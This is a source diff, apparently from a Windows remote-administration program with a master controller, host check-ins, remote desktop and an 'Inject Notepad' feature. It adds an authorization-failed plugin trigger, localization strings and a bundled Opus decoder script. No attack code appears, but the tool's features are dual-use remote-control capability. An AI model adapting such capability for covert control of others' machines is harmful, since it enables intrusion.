{
|
||||
CString joined;
|
||||
int start = 0;
|
||||
for (;;) {
|
||||
const int pos = str.Find(_T('\n'), start);
|
||||
CString kw = (pos < 0) ? str.Mid(start) : str.Mid(start, pos - start);
|
||||
kw.Trim();
|
||||
if (!kw.IsEmpty()) {
|
||||
if (!joined.IsEmpty()) joined += _T(';');
|
||||
joined += kw;
|
||||
}
|
||||
if (pos < 0) break;
|
||||
start = pos + 1;
|
||||
}
|
||||
rule.matchPattern = CT2A(joined, CP_UTF8);
|
||||
}
|
||||
|
||||
// Update manager config and save
|
||||
GetNotifyManager().SetConfig(m_config);
|
||||
|
||||
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
|
||||
{
|
||||
// 初始化触发类型下拉框
|
||||
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
||||
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
|
||||
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
||||
|
||||
// 初始化插件列表
|
||||
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
|
||||
index++;
|
||||
}
|
||||
|
||||
// 如果有已配置的主机上线触发器,勾选对应的插件
|
||||
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
|
||||
if (onlineTrigger) {
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (!dll) continue;
|
||||
for (const auto& pluginName : onlineTrigger->PluginNames) {
|
||||
if (pluginName == dll->Name) {
|
||||
m_listPlugins.SetCheck(i, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 回显当前选中触发类型已勾选的插件
|
||||
ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::LoadTriggersToList()
|
||||
{
|
||||
m_listTriggers.DeleteAllItems();
|
||||
|
||||
const char* typeNames[] = { "主机上线" };
|
||||
const char* typeNames[] = { "主机上线", "授权失败" };
|
||||
|
||||
int index = 0;
|
||||
for (const auto& cfg : m_Configs) {
|
||||
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
||||
|
||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||
|
||||
// 回显该触发器配置的插件,并同步下拉框选择
|
||||
ReflectPluginsForType(type);
|
||||
m_comboTriggerType.SetCurSel(type);
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
|
||||
{
|
||||
int sel = m_comboTriggerType.GetCurSel();
|
||||
if (sel >= 0) {
|
||||
ReflectPluginsForType((TriggerType)sel);
|
||||
}
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
|
||||
{
|
||||
// 查找对应的触发器配置
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 同步下拉框选择
|
||||
m_comboTriggerType.SetCurSel(type);
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
||||
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
|
||||
TriggerManager::Instance().Reload();
|
||||
}
|
||||
|
||||
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
|
||||
{
|
||||
for (auto& cfg : configs) {
|
||||
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
|
||||
return &cfg;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// TriggerManager 实现
|
||||
// ============================================
|
||||
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
|
||||
{
|
||||
// 不加锁,由调用者保证线程安全
|
||||
m_OnlinePlugins.clear();
|
||||
m_AuthFailedPlugins.clear();
|
||||
|
||||
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
||||
for (const auto& cfg : configs) {
|
||||
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
m_OnlinePlugins.insert(name);
|
||||
}
|
||||
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
m_AuthFailedPlugins.insert(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
m_bLoaded = true;
|
||||
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return result;
|
||||
}
|
||||
|
||||
bool TriggerManager::HasAuthFailedTrigger()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
bool has = !m_AuthFailedPlugins.empty();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return has;
|
||||
}
|
||||
|
||||
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return result;
|
||||
}
|
||||
@@ -12,6 +12,7 @@ struct DllInfo;
|
||||
// 触发器类型
|
||||
enum TriggerType {
|
||||
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
||||
TRIGGER_AUTH_FAILED = 1, // 授权失败
|
||||
// 后续可扩展更多类型
|
||||
};
|
||||
|
||||
@@ -34,12 +35,18 @@ public:
|
||||
// 获取主机上线触发器的插件名称集合(高性能查询)
|
||||
std::set<std::string> GetOnlinePlugins();
|
||||
|
||||
// 获取授权失败触发器的插件名称集合(高性能查询)
|
||||
std::set<std::string> GetAuthFailedPlugins();
|
||||
|
||||
// 重新加载配置(保存后调用)
|
||||
void Reload();
|
||||
|
||||
// 检查是否有上线触发器
|
||||
bool HasOnlineTrigger();
|
||||
|
||||
// 检查是否有授权失败触发器
|
||||
bool HasAuthFailedTrigger();
|
||||
|
||||
private:
|
||||
TriggerManager();
|
||||
~TriggerManager();
|
||||
@@ -49,7 +56,8 @@ private:
|
||||
void LoadFromDisk();
|
||||
|
||||
CRITICAL_SECTION m_cs;
|
||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
|
||||
bool m_bLoaded;
|
||||
};
|
||||
|
||||
@@ -68,8 +76,6 @@ public:
|
||||
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
||||
// 静态方法:获取配置文件路径
|
||||
static std::string GetTriggerConfigPath();
|
||||
// 静态方法:获取主机上线触发器(如果存在)
|
||||
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
@@ -81,12 +87,15 @@ protected:
|
||||
afx_msg void OnBnClickedBtnTriggerAdd();
|
||||
afx_msg void OnBnClickedBtnTriggerRemove();
|
||||
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnCbnSelchangeComboTriggerType();
|
||||
|
||||
private:
|
||||
void InitControls();
|
||||
void LoadPluginsToList();
|
||||
void LoadTriggersToList();
|
||||
void UpdateTriggerDisplay();
|
||||
// 回显指定触发类型已勾选的插件(取消其他勾选)
|
||||
void ReflectPluginsForType(TriggerType type);
|
||||
|
||||
private:
|
||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||
|
||||
@@ -46,7 +46,7 @@
|
||||
|
||||
// 程序版本号 [建议格式: X.Y.Z]
|
||||
// 影响:关于对话框、标题栏
|
||||
#define BRAND_VERSION "1.3.9"
|
||||
#define BRAND_VERSION "1.4.0"
|
||||
|
||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||
|
||||
@@ -255,6 +255,7 @@ void CWebService::ServerThread(int port) {
|
||||
static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
|
||||
static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
|
||||
static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
|
||||
static std::string cachedOpusDecoderJs = LoadBinaryResourceAsString(IDR_WEB_OPUS_DECODER_JS);
|
||||
|
||||
auto buildStatic = [](const std::string& body, const std::string& mime) {
|
||||
ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
|
||||
@@ -274,6 +275,9 @@ void CWebService::ServerThread(int port) {
|
||||
} else if (path == "/static/xterm-fit.js") {
|
||||
if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
|
||||
return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
|
||||
} else if (path == "/static/opus-decoder.min.js") {
|
||||
if (cachedOpusDecoderJs.empty()) return ws::HttpResponse::NotFound();
|
||||
return buildStatic(cachedOpusDecoderJs, "application/javascript; charset=utf-8");
|
||||
} else if (path == "/health") {
|
||||
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
|
||||
} else if (path == "/manifest.json") {
|
||||
|
||||
@@ -409,6 +409,7 @@ Rar
|
||||
撤销授权=Autorisierung widerrufen
|
||||
注入记事本=Notepad injizieren
|
||||
机器管理=Maschinenverwaltung
|
||||
主机管理=Maschinenverwaltung
|
||||
注销=Abmelden
|
||||
关机=Herunterfahren
|
||||
重启=Neustart
|
||||
@@ -1823,6 +1824,7 @@ IOCP
|
||||
触发类型:=Ausloesertyp:
|
||||
执行动作:=Aktion:
|
||||
主机上线=Host online
|
||||
授权失败=Autorisierung fehlgeschlagen
|
||||
插件名称=Plugin-Name
|
||||
触发器=Ausloeser
|
||||
已配置的触发器=Konfigurierte Ausloeser
|
||||
@@ -2049,3 +2051,20 @@ Minimal
|
||||
JPEG质量=JPEG Qualitaet
|
||||
最大宽度为期望编码宽度;JPEG 质量 1~100=Max. Breite ist die Ziel-Codierbreite; JPEG Qualitaet 1~100
|
||||
预览质量等级已保存,下次发送预览时生效。=Vorschau-Qualitaetsstufen gespeichert. Wirksam bei der naechsten Vorschau.
|
||||
|
||||
; ============================================
|
||||
; File Transfer Speed Dialog (文件传输速度)
|
||||
; ============================================
|
||||
文件传输速度(&F)...=&Dateiuebertragungsgeschwindigkeit...
|
||||
文件传输速度=Dateiuebertragungsgeschwindigkeit
|
||||
拖动滑块设置文件传输速度:=Schieberegler ziehen, um die Uebertragungsgeschwindigkeit festzulegen:
|
||||
最慢=Langsamste
|
||||
慢=Langsam
|
||||
默认=Standard
|
||||
快=Schnell
|
||||
更快=Schneller
|
||||
很快=Sehr schnell
|
||||
不限速=Unbegrenzt
|
||||
%s · 约 %.2f MB/s=%s · ca. %.2f MB/s
|
||||
%s · 不受限速(受网络带宽约束)=%s · Unbegrenzt (durch Netzwerkbandbreite begrenzt)
|
||||
文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。=Uebertragungsgeschwindigkeit gespeichert. Upload-Geschwindigkeit wird nach Neustart des Masters wirksam; Download-Geschwindigkeit beim naechsten Oeffnen des Dateimanagers oder des Remotedesktops.
|
||||
@@ -410,6 +410,7 @@ Rar
|
||||
撤销授权=Revoke Auth
|
||||
注入记事本=Inject Notepad
|
||||
机器管理=Machine Mgmt
|
||||
主机管理=Host Mgmt
|
||||
注销=Log Off
|
||||
关机=Shutdown
|
||||
重启=Restart
|
||||
@@ -1493,7 +1494,7 @@ SMTP
|
||||
触发条件:=Trigger:
|
||||
匹配列:=Match Column:
|
||||
关键词:=Keywords:
|
||||
(多个关键词用分号分隔,匹配任一项即触发通知)=(Multiple keywords separated by semicolon)
|
||||
(每行一个关键词,匹配任一项即触发通知)=(One keyword per line)
|
||||
提示: 同一主机 60 分钟内仅通知一次=Tip: Same host notified only once per 60 minutes
|
||||
主机上线=Host Online
|
||||
IP地址=IP Address
|
||||
@@ -1824,6 +1825,7 @@ IOCP
|
||||
触发类型:=Trigger Type:
|
||||
执行动作:=Action:
|
||||
主机上线=Host Online
|
||||
授权失败=Authorization Failed
|
||||
插件名称=Plugin Name
|
||||
触发器=Trigger
|
||||
已配置的触发器=Configured Triggers
|
||||
@@ -2050,3 +2052,30 @@ Minimal
|
||||
JPEG质量=JPEG Quality
|
||||
最大宽度为期望编码宽度;JPEG 质量 1~100=Max width is the target encode width; JPEG quality 1~100
|
||||
预览质量等级已保存,下次发送预览时生效。=Preview quality levels saved. They take effect the next time a preview is sent.
|
||||
|
||||
; ============================================
|
||||
; File Transfer Speed Dialog (文件传输速度)
|
||||
; ============================================
|
||||
文件传输速度(&F)...=&File Transfer Speed...
|
||||
文件传输速度=File Transfer Speed
|
||||
拖动滑块设置文件传输速度:=Drag the slider to set the transfer speed:
|
||||
最慢=Slowest
|
||||
慢=Slow
|
||||
默认=Default
|
||||
快=Fast
|
||||
更快=Faster
|
||||
很快=Very Fast
|
||||
不限速=Unlimited
|
||||
%s · 约 %.2f MB/s=%s · about %.2f MB/s
|
||||
%s · 不受限速(受网络带宽约束)=%s · Unlimited (limited by network bandwidth)
|
||||
文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。=Transfer speed saved. Upload speed takes effect after restarting the master; download speed takes effect the next time you open File Manager or Remote Desktop.
|
||||
|
||||
连接管理=Connections
|
||||
%s - 连接管理=%s - Connections
|
||||
本地地址=Local Address
|
||||
本地端口=Local Port
|
||||
远端地址=Remote Address
|
||||
远端端口=Remote Port
|
||||
连接数:%d=Connections: %d
|
||||
强制断开=Force Disconnect
|
||||
远程交谈=Talk
|
||||
@@ -410,6 +410,7 @@ Rar
|
||||
撤销授权=撤銷授權
|
||||
注入记事本=注入記事本
|
||||
机器管理=機器管理
|
||||
主机管理=主機管理
|
||||
注销=登出
|
||||
关机=關機
|
||||
重启=重新啟動
|
||||
@@ -1816,6 +1817,7 @@ IOCP
|
||||
触发类型:=觸發類型:
|
||||
执行动作:=執行動作:
|
||||
主机上线=主機上線
|
||||
授权失败=授權失敗
|
||||
插件名称=外掛名稱
|
||||
触发器=觸發器
|
||||
已配置的触发器=已設定的觸發器
|
||||
@@ -2041,3 +2043,30 @@ Minimal
|
||||
JPEG质量=JPEG品質
|
||||
最大宽度为期望编码宽度;JPEG 质量 1~100=最大寬度為期望編碼寬度;JPEG 品質 1~100
|
||||
预览质量等级已保存,下次发送预览时生效。=預覽品質等級已儲存,下次傳送預覽時生效。
|
||||
|
||||
; ============================================
|
||||
; File Transfer Speed Dialog (文件传输速度)
|
||||
; ============================================
|
||||
文件传输速度(&F)...=檔案傳輸速度(&F)...
|
||||
文件传输速度=檔案傳輸速度
|
||||
拖动滑块设置文件传输速度:=拖曳滑桿設定檔案傳輸速度:
|
||||
最慢=最慢
|
||||
慢=慢
|
||||
默认=預設
|
||||
快=快
|
||||
更快=更快
|
||||
很快=很快
|
||||
不限速=不限速
|
||||
%s · 约 %.2f MB/s=%s · 約 %.2f MB/s
|
||||
%s · 不受限速(受网络带宽约束)=%s · 不限速(受網路頻寬限制)
|
||||
文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。=檔案傳輸速度已儲存。上傳速度重啟主控端後生效;下載速度下次開啟檔案管理或遠端桌面後生效。
|
||||
|
||||
连接管理=連線管理
|
||||
%s - 连接管理=%s - 連線管理
|
||||
本地地址=本機位址
|
||||
本地端口=本機連接埠
|
||||
远端地址=遠端位址
|
||||
远端端口=遠端連接埠
|
||||
连接数:%d=連線數:%d
|
||||
强制断开=強制中斷
|
||||
远程交谈=遠程交談
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 128 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.8 KiB |
+232
@@ -0,0 +1,232 @@
|
||||
/* Copyright 2021-2026 Ethan Halsall. This file is part of wasm-audio-decoders. https://github.com/eshaz/wasm-audio-decoders */
|
||||
var i,t;i=this,t=function(i,t){const e=(i,t=4294967295,e=79764919)=>{const H=new Int32Array(256);let s,h,r,n=t;for(s=0;s<256;s++){for(r=s<<24,h=8;h>0;--h)r=2147483648&r?r<<1^e:r<<1;H[s]=r}for(s=0;s<i.length;s++)n=n<<8^H[255&(n>>24^i[s])];return n},H=(i,t=e)=>{const H=i=>new Uint8Array(i.length/2).map((t,e)=>parseInt(i.substring(2*e,2*(e+1)),16)),s=i=>H(i)[0],h=new Map;[,8364,,8218,402,8222,8230,8224,8225,710,8240,352,8249,338,,381,,,8216,8217,8220,8221,8226,8211,8212,732,8482,353,8250,339,,382,376].forEach((i,t)=>h.set(i,t));const r=new Uint8Array(i.length);let n,M,o,a=!1,c=0,I=42,u=i.length>13&&"dynEncode"===i.substring(0,9),y=0;u&&(y=11,M=s(i.substring(9,y)),M<=1&&(y+=2,I=s(i.substring(11,y))),1===M&&(y+=8,o=(i=>new DataView(H(i).buffer).getInt32(0,!0))(i.substring(13,y))));const l=256-I;for(let e=y;e<i.length;e++)if(n=i.charCodeAt(e),61!==n||a){if(92===n&&e<i.length-5&&u){const t=i.charCodeAt(e+1);117!==t&&85!==t||(n=parseInt(i.substring(e+2,e+6),16),e+=5)}if(n>255){const i=h.get(n);i&&(n=i+127)}a&&(a=!1,n-=64),r[c++]=n<I&&n>0?n+l:n-I}else a=!0;const d=r.subarray(0,c);if(u&&1===M){const i=t(d);if(i!==o){const t="Decode failed crc32 validation";throw console.error("`simple-yenc`\n",t+"\n","Expected: "+o+"; Got: "+i+"\n","Visit https://github.com/eshaz/simple-yenc for more information"),Error(t)}}return d};function s(){const i=Uint8Array,t=Float32Array;s.t||Object.defineProperties(s,{t:{value:new WeakMap},H:{value(i,t){s.t.set(i,Promise.resolve(t))}},M:{value(i,t){let e=s.t.get(i);return e||(t?e=WebAssembly.compile(H(t)):(t=i.I,e=s.u(t).then(i=>WebAssembly.compile(i))),s.t.set(i,e)),e}},p:{value(i,e){let H=new t(e),s=0,h=0;for(;s<i.length;)H.set(i[s],h),h+=i[s++].length;return H}},J:{value:(i,t,e,H,s)=>({errors:i,channelData:t,samplesDecoded:e,sampleRate:H,bitDepth:s})},W:{value(i,t,e,H,h,r){let n,M,o=[];for(n=0;n<e;n++){const i=[];for(M=0;M<t.length;)i.push(t[M++][n]||[]);o.push(s.p(i,H))}return s.J(i,o,H,h,r)}},u:{value(t){return t=H(t),new Promise(e=>{const H=String.raw`dynEncode012804c7886d()((()>+*§§)§,§§§§)§+§§§)§+.-()(*)-+)(.7*§)i¸¸,3§(i¸¸,3/G+.¡*(,(,3+)2å:-),§H(P*DI*H(P*@I++hH)H*r,hH(H(P*<J,i)^*<H,H(P*4U((I-H(H*i0J,^*DH+H-H*I+H,I*4)33H(H*H)^*DH(H+H)^*@H+i§H)i§3æ*).§K(iHI/+§H,iHn,§H+i(H+i(rCJ0I,H*I-+hH,,hH(H-V)(i)J.H.W)(i)c)(H,i)I,H-i*I-4)33i(I.*hH(V)(H+n5(H(i*I-i(I,i)I.+hH,i*J+iHn,hi(I-i*I,+hH,H/H-c)(H,iFn,hi(I,+hH,H0n5-H*V)(J(,hH/H(i)J(H(V)(J(i)c)(H)H(i)H,c)(3H*i*I*H,i)I,4(3(-H(H,W)(H-I-H,i*I,4)3(3(3H,H-I1H+I,H.i)H1V)(J.i(v5(33H.-H(H,i(c)(H,i*I,4)333)-§i*I*+§H*iHn,hi73H,H(i)8(H+J+H)P*(H*V)(J-r,§H)P*,H.i)H+H,i)V)(-H*i*I*H+i)I+H-H.I.H,H-i)I,4)333Ã+)-§iø7i(^*(iü7I,*h+hH+iDn,h*hilI+i)I,+hH+,hH+iô7H,c)(i)H+i´8W)(H,I,H+i*I+4)-+hH(H)8*J-i(p5.*h*h*hH-i')u,hH(P*(J+,hH(P*0J,H(P*,n50H+H,H-b((3H(P*0i)I.4)3H-i¨*n5*H-iÅ*s,hi73H-i)J+V)&+I,H(H+V)æ,8(I.H(H*8*J-i(p51H-i)J+i¸7V)(H(H+iø7V)(8(J/H(P*0J+s,hi73H+H,H.J,I.H(P*(m5(H.H(P*,s5.+hH,m5*H(P*(J.H+H.H+H/U((b((H(H(P*0i)J+^*0H,i)I,4(3(3H(H.^*03H-i¨*o5)33i(73(3(3-H,H+i)c)(H,i*I,H+i)I+4)33i)I-3H-3!2)0§K(i2J,L(H,H(^*(H,H*^*4H,i(^*0H,i(^*DH,j(_*<H,H)P*(^*,H,H+P*(^*8*h*h+hH,i)8(I3i§I**h*h*h*h*h*h*hH,i*8(6+(),03H,j(_*@i*I-H,P*<J.i,J(H,P*8J/s50H,H.i+J0^*<i¦I*H.H,P*4J1J.U(*H.U((J2i')o5/H.U()I.H,H(^*<H0H1U((H.i0J.i§i0i')o5/H/H.H2J*H(J.q50H,P*0J/H*I-H,P*(J0,hH,P*,H-q,hi)I-423+hH*m5+H/H0H(H1U((b((H/i)I/H(i)I(H*i)I*4(3(3H,H.^*<H,H-^*04*3iØ1U((5+i(I(i¨7i1^*(i$6iè1^*(i°7iè6^*(i¬7iÈ6^*(+hH(iÈ*n,hiÈ*I(+hH(i¨,n,hi¨,I(+hH(iØ,n,hiØ,I(+hH(iè,o,hH,i-H(i0c)(H(i*I(4)33iè1i1H,i-iÈ*8)Bi(I(+hH(ido,hH,i-H(i-c)(H(i*I(4)33iÈ6iè6H,i-iF8)BiØ1i)b((41-H,i-H(i/c)(H(i*I(4)3(3(-H,i-H(i1c)(H(i*I(4)3(3(-H,i-H(i0c)(H(i*I(4)3(3(3H,H/^*0H,H(^*<3i(I*4*3H,H,i¸)^*TH,H,iø-^*PH,H,iX^*LH,H,i(^*HH,i-8(I(H,i-8(I-i¥I*H,i,8(I.H(iErH-iEr5)H(i©*I1H-i)I0i(i;H.i,J(i(H(i(rCJ(J*H*i;sCI*i¨1I-H(I/+hH/,hH,i-H-V)(i)H,i+8(c)(H/i)I/H-i*I-H*i)I*4)-H(i)i¨1I/+hH(H*o,hH,i-H/V)(i)i(c)(H/i*I/H(i)I(4)33i¤I*H,iø-H,i¸)H,i-i;8)5+H0H1I2i(I-+hH-H2p,hH,H,iP8*J*i(p5-H*i7u,hH,i-H-i)H*c)(H-i)I-4*3i(I/i+I.i+I(*h*h*hH*i86*(*)3H-m,hi£I*403H-i)H,W)-I/i*I(4)3i3I.i/I(3H2H,H(8(H.J(H-J.p,hi¢I*4.3H,i-H-i)I*+hH(,hH*H/c)(H*i*I*H(i)I(4)-H.I-4+3(3(33H,W)1m,hiI*4,3H,iø-H,i¸)H,i-H18)J(,hi¡I*H(i(p5,H1H,V)ú-H,V)ø-o5,3H,i(H,iXH,i-H1i)H08)J(,hi I*H(i(p5,H0H,V)H,V)o5,3H,H,iPH,iH8+I*4+3(3(3H,i$6i¬78+I*3H*H3m5(3i)I-H*i(r5)3H)H,P*0^*(H+H,P*<^*(H*I-3H,i2L(H-33Á)+(i¨03b+(,(-(.(/(0(1(2(3(5(7(9(;(?(C(G(K(S([(c(k({(((«(Ë(ë((*)(iø03O)()()()(*(*(*(*(+(+(+(+(,(,(,(,(-(-(-(-(i¨13M8(9(:(((0(/(1(.(2(-(3(,(4(+(5(*(6()(7(T7*S7U
Line truncated
|
||||
®Fj{øú¢ç=}(ÝñÜn moǰ¥àeò?È×µh
|
||||
ØW¨;Ñ aØXæU{¤øàÖÕÀì·ÝÌíø±tâÔøeVO÷PÉ´È~ÃòsX1´ÊPyK·ÿKZçµ WÑ¡¡_ dÍí+]Õ~%Yïþîñ ¾Ú·p[òß ¶ó÷ylhnn«²ù*¶Ìéñ®ï(éÇÃRÊÆRÌ-¬ÐoÒÊ2z+ä$:ÄsxÏ#Ït!MlBq§%Jè ®Ä | ||||